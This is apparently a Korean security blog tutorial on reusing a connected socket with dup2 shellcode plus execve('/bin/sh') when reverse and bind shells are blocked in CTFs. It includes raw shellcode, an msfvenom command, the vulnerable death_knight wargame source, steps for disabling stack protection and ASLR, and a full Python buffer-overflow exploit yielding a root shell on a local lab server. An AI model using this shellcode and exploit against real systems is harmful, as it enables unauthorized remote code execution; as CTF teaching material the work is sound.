본문 바로가기

Computer Security/System

리버스쉘과 바인드쉘이 안될때 대처법 (dup2+/bin/sh)

CTF를 풀때 정말 난감한 환경들이 있다.

예를들어, 특히 우리학교.

우리학교처럼 외부접속을 아예 막아버린 상태에선 리버스텔넷이 불가능하다.

이런 상황에서 CTF서버측에 방화벽이 켜져있으면 바인드쉘도 불가능하기때문에, 다른방법을 써야하는데


dup2+쉘을 이용하면 가능하다.

dup2에 대해서 우선 설정하자면, dup2(a,b) 의 형식인데

원래 dup 함수에 대해 검색해보면 알겟지만, 파일 디스크립터를 복사해주는 역할을 하고 파일디스크립터 번호를 안쓰는 랜덤번호로 지정해준다.

dup대신 dup2를 쓰게되면, 번호를 지정해서 변경할수 있는데, 파일디스크립터 a를 특정번호 b로 지정해준다.

이때, b를 1로 지정해주게되면 stdout으로 지정이 되어, stdout의 결과가 클라이언트로 전송이 된다.

그래서, dup2 쉘코드를 먼저 실행시킨후, 특정 명령을 하는 쉘코드를 실행하고, 그 결과를 stdout으로 출력하면, 프린트 결과물이 이미 연결되어있는 소켓을 통해 공격자의 컴퓨터로 전송이 된다.


64비트용과 32비트용의 dup2 쉘코드 예제를 보겠다.


 # ndisasm -b 64 test

00000000  4831C0            xor rax,rax          

00000003  B021              mov al,0x21           ; dup2 콜 번호를 설정한다.

00000005  4831FF            xor rdi,rdi

00000008  40B708            mov dil,0x8           ; fd 번호를 설정한다.

0000000B  4831F6            xor rsi,rsi

0000000E  48FFC6            inc rsi                ; rsi를 1로 맞춰서 stdout에 맞춘다.

00000011  0F05              loadall286

64비트 (stdout만 변경)


# ndisasm -b 32 test

00000000  31C9              xor ecx,ecx

00000002  B102              mov cl,0x2        

00000004  31DB              xor ebx,ebx

00000006  B341              mov bl,0x41          ; fd 번호를 설정한다. (여기선 41)

00000008  31C0              xor eax,eax

0000000A  B03F              mov al,0x3f         ; dup2 시스템콜 번호를 설정한다.

0000000C  CD80              int 0x80         

0000000E  49                dec ecx

0000000F  79F7              jns 0x8

32비트 (stdin,stdout,stderr 모두 변경)


시스템콜번호는 OS마다 다를수도 있으니, 잘 안되면 정확히 확인해봐야 한다.

(지금까지 확인해본 결과로는, 32비트에서는 모두 0x3f로 동일했다.)

그리고, fd값을 구하는 법에 대해서 고민해봤는데,

찾아보니 3이후의 값을 하나씩 넣어보는 사람도 있었고,

좀더 좋은방법은 결국 fd값도 변수일테니, 그 변수의 위치를 찾아서 ebx에 넣어줘도 된다.

(근데, fork를 사용하는 binary의 경우는 어짜피 정해져있기때문에 하나씩 넣어보는것이 편하다.)


그리고나서 metasploit툴에서 제공하는 msfvenom을 이용해 커맨드쉘을 만들고, dup2 뒤에 덮붙이면 된다.

./msfvenom -p linux/x86/exec CMD="/bin/id" -b '\x0a\x00'


좀더 나아가서,


아니면 아예 위에서 보듯이 32비트같은 경우는, 모두 연결해놨기때문에, 리버스텔넷이나 바인드쉘과 같은 효과를 낼수도 있다.


위의 dup2루프 쉘코드와 execve("/bin/sh")를 합쳐서 페이로드로 사용하면 된다.


fd = ??

shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7" # dup2

shellcode = shellcode.replace("\x41", chr(fd))

# bin/sh

shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\

"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

(41바이트 / python)


실험을 해보기위해서, BoF 원정대의 death_knight의 소스를 가져와서 테스트를 해보았다.

 /*
The Lord of the BOF : The Fellowship of the BOF
- dark knight
- remote BOF
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet in.h>
#include <sys/socket.h>
#include <sys/wait.h>

main()
{
char buffer[40];

int server_fd, client_fd;
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;
int sin_size;
if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
perror("socket");
exit(1);
}

server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(6666);
server_addr.sin_addr.s_addr = INADDR_ANY;
bzero(&(server_addr.sin_zero), 8);

if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){
perror("bind");
exit(1);
}

if(listen(server_fd, 10) == -1){
perror("listen");
exit(1);
}
while(1) {
sin_size = sizeof(struct sockaddr_in);
if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){
perror("accept");
continue;
}

if (!fork()){
send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);
send(client_fd, "You : ", 6, 0);
recv(client_fd, buffer, 256, 0);
close(client_fd);
break;
}

close(client_fd);
while(waitpid(-1,NULL,WNOHANG) > 0);
}
close(server_fd);
}

death_knight.c


우분투의 환경에서 컴파일 했기때문에, 각종 방어기법을 해제하기 위해서 컴파일 옵션을 줬다.

 gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 death_knight.c


추가로, ASLR을 제거해준다.

echo "0" > /proc/sys/kernel/randomize_va_space 


그리고, /proc/프로세스아이디/fd 를 체크해보면 알겠지만, accept의 소켓번호는 4번이다.

 

그러므로, exploit을 작성해보면

from socket import *
import sys
import time

fd = 4
shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7"
shellcode = shellcode.replace("\x41", chr(fd))
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

breakall=0
for a in range(0xff,0x01,-1):
        for b in range(0x00, 0xff, 100):
                #print hex(a) + hex(b)
                payload = ""
                payload += "\x90"*52 
                payload += chr(b)+chr(a)+"\xff\xbf" # return address
                payload += "\x90"*100
                payload += shellcode
                s=socket(AF_INET,SOCK_STREAM)
                s.connect(('127.0.0.1',6666))
                while "You" not in s.recv(1024): pass
                time.sleep(0.0001)
                s.send(payload)
                s.send('id\n')
                get = s.recv(1024)
                #if get: print get
                if get.find('id') is not -1:
                        while True:
                                cmd = raw_input('$ ')
                                if cmd == 'exit':
                                        s.close()
                                        breakall = 1
                                        break
                                s.send(cmd+'\n')
                                result = s.recv(1024)
                                print result
                        s.close()
                else:
                        s.close()
                if breakall == 1:
                        break
        if breakall == 1:
                break


 # python exploit.py 
id
uid=0(root) gid=0(root) groups=0(root)